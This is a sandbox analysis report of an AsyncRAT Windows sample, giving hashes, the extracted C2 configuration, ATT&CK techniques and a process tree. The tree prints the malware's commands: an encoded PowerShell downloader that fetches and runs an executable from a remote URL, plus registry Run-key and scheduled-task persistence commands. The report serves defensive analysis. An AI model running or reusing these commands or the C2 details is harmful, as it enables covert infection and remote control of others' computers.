Analysis

  • max time kernel
    151s
  • max time network
    144s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21-01-2023 06:43

General

  • Target

    a6ee35a6f6df35f07f410aa318e26b4f48125c13383d0a57af1eb188378334e9.exe

  • Size

    5KB

  • MD5

    51a17f574cbbcd25376f6c362981ff5b

  • SHA1

    a972014ec577230af4a7d1f79012b8a3e5b1bc81

  • SHA256

    a6ee35a6f6df35f07f410aa318e26b4f48125c13383d0a57af1eb188378334e9

  • SHA512

    8bb9569242c9066c3cdec62d3e0e9b12f84f52712cdc13d3e15544e439dad0a4e4cb45852f32655b203ae953e385f06415f8a566e7281cf60dc0eb66e800e0ad

  • SSDEEP

    96:Vmm+79yWL1bhyc9g1wtwCdvk+Zpe86/3S+YYKd3ojo9Xrl:xI9yWL1bhycnu2vkWA86/31Kdz

Malware Config

Extracted

Family

asyncrat

Version

0.5.7B

Botnet

System Guard Runtime

C2

85.105.88.221:2531

Mutex

System Guard Runtime

Attributes
  • delay

    3

  • install

    false

  • install_file

    System Guard Runtime

  • install_folder

    %AppData%

aes.plain

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers.

  • Async RAT payload 1 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 22 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\a6ee35a6f6df35f07f410aa318e26b4f48125c13383d0a57af1eb188378334e9.exe
    "C:\Users\Admin\AppData\Local\Temp\a6ee35a6f6df35f07f410aa318e26b4f48125c13383d0a57af1eb188378334e9.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4040
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGoAbABnACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAxADAANQA7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAGQAbgAuAGQAaQBzAGMAbwByAGQAYQBwAHAALgBjAG8AbQAvAGEAdAB0AGEAYwBoAG0AZQBuAHQAcwAvADEAMAA2ADUANQA1ADkAOQAyADAAMAA2ADcANAA4ADEANgAyADAALwAxADAANgA1ADUANgAwADcAMgA2ADQANQA1ADkAOAA0ADEANwA4AC8AQwBSAC4AZQB4AGUAJwAsACAAPAAjAHcAZABjACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAaQBhAGcAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAdABlAHIAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAMQAxAC4AZQB4AGUAJwApACkAPAAjAGQAeABsACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAHAAcgBoACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwB2AG0AbQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwAxADEALgBlAHgAZQAnACkAPAAjAGQAdABkACMAPgA="
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4628
      • C:\Users\Admin\AppData\Roaming\11.exe
        "C:\Users\Admin\AppData\Roaming\11.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2932
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "powershell.exe" Remove -ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'SystemGuardRuntime';New-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'SystemGuardRuntime' -Value '"C:\Users\Admin\AppData\Roaming\SystemGuardRuntime\SystemGuardRuntime.exe"' -PropertyType 'String'
          4⤵
          • Adds Run key to start application
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1880
        • C:\Windows\SysWOW64\cmd.exe
          "cmd" /C schtasks /create /tn \SystemGuardRuntime /tr "C:\Users\Admin\AppData\Roaming\SystemGuardRuntime\SystemGuardRuntime.exe" /st 00:00 /du 9999:59 /sc once /ri 60 /rl HIGHEST /f
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:4796
          • C:\Windows\SysWOW64\schtasks.exe
            schtasks /create /tn \SystemGuardRuntime /tr "C:\Users\Admin\AppData\Roaming\SystemGuardRuntime\SystemGuardRuntime.exe" /st 00:00 /du 9999:59 /sc once /ri 60 /rl HIGHEST /f
            5⤵
            • Creates scheduled task(s)
            PID:4280
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
          #cmd
          4⤵
            PID:1560

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Execution

    Scheduled Task

    1
    T1053

    Persistence

    Registry Run Keys / Startup Folder

    1
    T1060

    Scheduled Task

    1
    T1053

    Privilege Escalation

    Scheduled Task

    1
    T1053

    Defense Evasion

    Modify Registry

    1
    T1112

    Discovery

    Query Registry

    1
    T1012

    System Information Discovery

    2
    T1082

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
      Filesize

      1KB

      MD5

      e942aadc56bfd6885115fa4d65b56a04

      SHA1

      ed778f04ec6ca615686ce9d239d7d4688715d6f2

      SHA256

      450f4b18e27486e793dacde81f79112ffe1a659992b17fd103bf9a16e613c7b0

      SHA512

      842711f37d9abd1fdf53a46529c1d0700e82da1973f0c3e6b66070efccc0393396560c3a0287719f2d641a4ede00a6da7cb072f07817c8cd0c45cd2ca46e61e4

    • C:\Users\Admin\AppData\Roaming\11.exe
      Filesize

      87KB

      MD5

      3c6ccbfe897915f0fe6bc34d193bf4a0

      SHA1

      6fe3161ee66e317889066a302474e511220939e7

      SHA256

      52bf11364e8430f4b271ebb29e2a55451543338be5b2a34e731ede58eef04241

      SHA512

      e0bf1fc11deacb24b5d5de4bcfc522057d1ca1b4866325356b2c9a1f009c6562eee0c0e602478b3639de4beff14997d59a3b428281d9111278544fc5e3199536

    • C:\Users\Admin\AppData\Roaming\11.exe
      Filesize

      87KB

      MD5

      3c6ccbfe897915f0fe6bc34d193bf4a0

      SHA1

      6fe3161ee66e317889066a302474e511220939e7

      SHA256

      52bf11364e8430f4b271ebb29e2a55451543338be5b2a34e731ede58eef04241

      SHA512

      e0bf1fc11deacb24b5d5de4bcfc522057d1ca1b4866325356b2c9a1f009c6562eee0c0e602478b3639de4beff14997d59a3b428281d9111278544fc5e3199536

    • memory/1560-148-0x0000000000000000-mapping.dmp
    • memory/1560-149-0x0000000000400000-0x0000000000412000-memory.dmp
      Filesize

      72KB

    • memory/1880-156-0x0000000006520000-0x0000000006552000-memory.dmp
      Filesize

      200KB

    • memory/1880-159-0x0000000007890000-0x0000000007F0A000-memory.dmp
      Filesize

      6.5MB

    • memory/1880-166-0x00000000075B0000-0x00000000075D2000-memory.dmp
      Filesize

      136KB

    • memory/1880-165-0x0000000007570000-0x0000000007578000-memory.dmp
      Filesize

      32KB

    • memory/1880-164-0x0000000007590000-0x00000000075AA000-memory.dmp
      Filesize

      104KB

    • memory/1880-163-0x0000000007480000-0x000000000748E000-memory.dmp
      Filesize

      56KB

    • memory/1880-162-0x00000000074D0000-0x0000000007566000-memory.dmp
      Filesize

      600KB

    • memory/1880-144-0x0000000000000000-mapping.dmp
    • memory/1880-161-0x00000000072C0000-0x00000000072CA000-memory.dmp
      Filesize

      40KB

    • memory/1880-146-0x0000000002600000-0x0000000002636000-memory.dmp
      Filesize

      216KB

    • memory/1880-160-0x0000000007250000-0x000000000726A000-memory.dmp
      Filesize

      104KB

    • memory/1880-158-0x00000000064E0000-0x00000000064FE000-memory.dmp
      Filesize

      120KB

    • memory/1880-157-0x0000000070570000-0x00000000705BC000-memory.dmp
      Filesize

      304KB

    • memory/1880-150-0x0000000005350000-0x0000000005978000-memory.dmp
      Filesize

      6.2MB

    • memory/1880-151-0x0000000004F90000-0x0000000004FB2000-memory.dmp
      Filesize

      136KB

    • memory/1880-153-0x00000000051A0000-0x0000000005206000-memory.dmp
      Filesize

      408KB

    • memory/1880-152-0x0000000005130000-0x0000000005196000-memory.dmp
      Filesize

      408KB

    • memory/1880-155-0x0000000005F40000-0x0000000005F5E000-memory.dmp
      Filesize

      120KB

    • memory/2932-143-0x0000000005770000-0x0000000005D14000-memory.dmp
      Filesize

      5.6MB

    • memory/2932-142-0x0000000000820000-0x000000000083C000-memory.dmp
      Filesize

      112KB

    • memory/2932-138-0x0000000000000000-mapping.dmp
    • memory/4040-132-0x0000000000CA0000-0x0000000000CA8000-memory.dmp
      Filesize

      32KB

    • memory/4040-136-0x00007FF9BDF90000-0x00007FF9BEA51000-memory.dmp
      Filesize

      10.8MB

    • memory/4280-147-0x0000000000000000-mapping.dmp
    • memory/4628-133-0x0000000000000000-mapping.dmp
    • memory/4628-134-0x000001BF74AC0000-0x000001BF74AE2000-memory.dmp
      Filesize

      136KB

    • memory/4628-135-0x00007FF9BDF90000-0x00007FF9BEA51000-memory.dmp
      Filesize

      10.8MB

    • memory/4628-137-0x00007FF9BDF90000-0x00007FF9BEA51000-memory.dmp
      Filesize

      10.8MB

    • memory/4628-140-0x00007FF9BDF90000-0x00007FF9BEA51000-memory.dmp
      Filesize

      10.8MB

    • memory/4796-145-0x0000000000000000-mapping.dmp